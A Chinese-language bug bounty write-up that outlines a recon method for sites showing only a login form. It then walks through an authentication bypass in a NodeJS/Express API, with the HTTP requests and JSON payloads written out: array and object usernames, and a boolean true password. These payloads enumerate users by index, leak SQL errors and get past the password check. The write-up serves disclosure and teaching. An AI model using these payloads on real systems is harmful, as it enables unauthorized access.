本文主要针对的是我参加一个漏洞赏金计划的过程中发现的NodeJS应用程序身份验证绕过漏洞进行分析。我们将重点讲述我所使用的方法,以便在遇到类似的Web界面(仅提供单一登录表单)时可以利用这种方法来寻找漏洞。
方法论
如果大家曾经对大型网站(例如GM、Sony、Oath或Twitter)进行过漏洞挖掘,那么进行的第一项工作可能就是运行子域名发现工具,从而进入到初始侦查过程中。这样一来,我们就能获得潜在目标的列表,有时这一列表可能会达到数百个、数千个不同的主机。如果有人专注于网络应用程序的漏洞挖掘,可能会使用Aquatone这类工具,这类工具能够对常用端口上运行的Web服务进行扫描,同时列举出网站的响应标题,并打印出屏幕,最终提供一份HTML格式的报告。
但是,当我们查看报告时,会注意到,大多数情况下,这些Web服务器会呈现出“404 Not Found”、“401 Unauthorized”、“500 Internal Server Error”、默认Web界面或各种服务页面。其中,服务页面又包括VPN或网络设备登录页面、第三方软件、cPanels、WordPress登录页面等。我们可能无法直接获得Web应用程序的位置,这样就无法直接进入到寻找XSS或SQL注入漏洞的步骤。至少,到目前为止,我还没有这样的运气。
但有时,我们实际上可以找到一些看起来像自定义应用程序的界面,其中包含一些其他选项,例如注册或忘记密码。在这里,我们是可以进行一些操作的。遇到此类情况,我通常采用以下的处理方式:
1、首先要做的,就是检查页面的源代码,我们可以找到例如JavaScript或CSS这样的资源链接,并且能从中发现一些应用程序目录,例如/assets、/public、/scripts等。我们应该对这些目录进行检查,以发现其中是否存在可以利用的文件。
2、Wappalyzer(支持在所有流行浏览器上作为扩展使用)能够提供技术上的充分信息,包括Web服务器、服务器端使用的技术、JavaScript库等。这样一来,我们将掌握该页面的整体情况,并为进一步的测试选择正确的方法。在这里,如果应用程序是使用Ruby on Rails构建的,那么可以尝试使用针对JavaEE的RCE Payload。
3、如果发现任何JavaScript文件,我会执行一些静态分析,以确认是否有任何API终端暴露问题,以及是否存在任何客户端身份验证和用户输入验证逻辑。
4、在完成上述步骤并掌握一定信息后,我开始使用Burp Suite测试所有功能(包括登录、注册、忘记密码等)的实际逻辑,并拦截对服务器的请求。然后,我将请求发送到Repeater进行重放。具体而言,我们在application/json、application/xml和其他类型的位置更改Content-Type,使用多个Payload作为请求的主题,在不同的HTTP方法之间切换,或更改HTTP请求标头,并观察上述尝试是否能导致服务器端出现错误。如果应用程序存在任何漏洞,现在就是发现这些漏洞的最佳时机,我们需要认真观察每个响应,并且注意任何一点细小的变化。例如,我们使用PUT替换GET发出请求,标头是否出现缺少?如果我们发送一个格式错误的JSON,响应正文中是否会出现不寻常的字符?
5、最后,我运行wfuzz,尝试发现服务器上一些不需要的文件或文件夹。我自定义的“Starter Pack”字典中,包含一些Web服务器上常见的内容,例如.git或.svn这些源版本控制系统文件夹、JetBrain的.idea这类IDE目录、.DS_Store文件、配置文件、常见Web接口路径、管理员接口,以及Tomcat、JBoss、Sharepoint的特定文件或文件夹。这个字典中,共包含约45k的条目,我发现利用这一字典总能找到一些有趣的内容,可以帮助我进一步发现漏洞。
如果进行上述步骤后,没有任何发现,那么我认为这一应用程序的安全性较强,很可能没有漏洞能够绕过身份验证或进入应用程序。
在实际尝试中,通过分析认证的请求,我们得到了一些线索。实际上,这是一个简单的登录表单,但经过我们对HTTP响应标头进行分析并使用Wappalyzer进行扫描后,结果表明这是一个使用ExpressJS框架构建的NodeJS应用程序。我之前担任Web开发人员时,JavaScript是我最为常用的语言,并且我已经在寻找JavaScript相关的栈漏洞这一方面积累了充分的经验。因此,我决定深入挖掘这一漏洞,看看我能够做些什么。
漏洞发现
我们使用Payload,对侦查阶段发现的终端进行测试,在这里,找到了一个凭据错误的漏洞,该漏洞是在JSON的POST过程中包含用户名和密码:
POST /api/auth/login HTTP/1.1
Host: REDACTED
Connection: close
Content-Length: 48
Accept: application/json, text/plain, */*
Origin: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1
Content-Type: application/json;charset=UTF-8
Referer: REDACTED/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7
Cookie: REDACTED
{“username”:”bl4de”,”password”:”secretpassword”}
在本文的后续,我将省略HTTP标头,因为我们没有对标头进行任何更改。
在响应中,没有看到任何令人兴奋的内容,除了其中的一个细节:
HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Vary: X-HTTP-Method-Override, Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET
Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization
X-Content-Type-Options: nosniff
Content-Type: application/json; charset=utf-8
Content-Length: 83
ETag: W/”53-vxvZJPkaGgb/+r6gylAGG9yaeoE”
Date: Thu, 11 Oct 2018 18:50:26 GMT
Connection: close
{“result”:”User with login [bl4de] was not found.”,”resultCode”:401,”type”:”error”}
这个细节是,响应使用了方括号来返回我发送的用户名。因为在JavaScript中,方括号表示数组,所以这个用户名的返回值,看起来像是这个数组的实际元素。为了确认这一点,我发送了另一个Payload,一个空的数组:
{“username”:[],”password”:”secretpassword”}
服务器响应如下,印证了我们的这一推测:
{“result”:”User with login [] was not found.”,”resultCode”:401,”type”:”error”}
一个空的数组?那么方括号是否可以被接受为用户名呢?
我们尝试将空对象作为用户名提交,看看会发生什么:
{“username”:{},”password”:”secretpassword”}
针对该请求的响应内容,证明了我的猜想,刚刚发送的内容会在身份验证逻辑中用作用户名(尝试调用{}.replace函数,但没有替换JavaScript对象):
{"result":"val.replace is not a function","resultCode":500,"type":"error"}
我们创建一个空的对象(对应上述响应中的val),然后调用replace()作为其方法。我们可以看到,错误完全相同:
let val = {}
val.replace()
VM188:1 Uncaught TypeError: val.replace is not a function at <anonymous>:1:5
漏洞利用
在确认了这一漏洞后,我们就要尝试对其进行成功的利用。我们根据其响应内容,推断背后所运行的代码,接下来要做的下一个测试,就是尽可能“捣乱”,以触发其他错误。看起来,嵌套数组([[]])是一个不错的尝试:
{“username”:[[]],”password”:”secretpassword”}
来自服务器的响应内容超出了我的预期:
{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') OR `Person`.`REDACTED_ID` IN ()) LIMIT 1' at line 1","resultCode":409,"type":"error"}
在我们看到类似这样的错误信息时,会本能地想到SQL注入。但首先,我们需要知道如何在该查询中使用用户名来制作正确的Payload,并攻陷MySQL服务。我们知道,用户名被视为某个数组元素,因此我发送了一个请求,其中username只是数组的第一个元素([0]):
{“username”:[0],”password”:”secretpassword”}
这一次,应用程序返回了不一样的错误信息:
{“result”:”User super.adm, Request {\”port\”:21110,\”path\”:\”/REDACTED? ApiKey=REDACTED\”,\”headers\”:{\”Authorization\”:\”Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk\”}, \”host\”:\”api-global.REDACTED\”}, Response {\”faultcode\”:\”ERR_ACCESS_DENIED\”,\”faultstring\”:\”User credentials are wrong or missing.\”, \”correlationId\”:\”Id-d5a9bf5b7ad73e0042191000924e3ca9\”}”,”resultCode”:401,”type”:”error”}
经过快速分析后,我发现我能够以某种方式,使用ID为0的用户(或者某个数据结构中索引为0的用户)发送另一个请求。由于密码错误,显然并没有成功进行身份验证。实际上,我们可以看到Authorization表头中包含Base 64编码后的字符串super.adm:secretpassword,这也就意味着该应用程序确实启用了索引为0的用户。
接下来,我们想要弄清楚,是否可以使用后续的索引(1、2、3)从数据库中枚举用户。经过尝试,成功的找到了另外两个用户。此外,我们还发现可以传递任意数量的索引,作为登陆请求的用户名中的数组,它们将在IN()子句的SQL查询中使用:
{"username":[0,1,2,30,50,100],"password":"secretpassword"}
只要发现其中的某个索引有效,这一请求总会返回一个有效的用户(应用程序尝试使用SQL查询,从数据库中选择的用户名发送这一内部API请求)。但是,它仍然没有接受我尝试的密码,因此我们目前还没能完全绕过身份验证。我的下一个挑战,就是找到绕过密码验证的方法。
考虑到我正在分析JavaScript应用程序,那么我能想到的一个简单的东西就是Boolean false。
{“username”:[0],”password”:false}
这次,来自服务器的响应是不同的:
{"result":"Please provide credentials","resultCode":500,"type":"error"}
我从来没有见过这个错误,但我很快确认,刚刚的尝试是有效的,因为其中缺少了用户名和密码。由于我提供了用户名,服务器只需要验证密码,但false表示根本没有密码。如果我们其改成“null”或“0”(这些都是JavaScript中的False值),也将得到相同的响应。
最终PoC
所以,如果将密码设置为False不起作用,那么如何将密码设置为True呢?
{“username”:[0],”password”:true}
就是这样,使用数组的第一个元素([0])作为用户名,并且使用True关键字作为密码,使我成功绕过了身份验证,并得到如下响应:
{"result":"Given pin is not valid.","resultCode":401,"type":"error"}
需要澄清一点,完整的绕过并没有完成,原因在于这一过程中还涉及到第三个因素:PIN码。实际上,PIN码应该在登录后输入,由此证明我们已经绕过了身份验证机制。这一漏洞在提交后被认为有效,并且目前已经被厂商修复。
由于会使用正则表达式对用户名和密码进行检查,因此我们在尝试创建Payload时会返回语法错误的错误提示,因为Payload中包含不支持的字符,我们无法进行SQL注入。
致谢
最后,我要感谢该公司及安全团队的支持与及时修复,感谢HackerOne赏金计划使我拥有了探索漏洞的机会。最后,要感谢我所在的安全小组成员为这份报告所提供的支持与反馈。
文章评论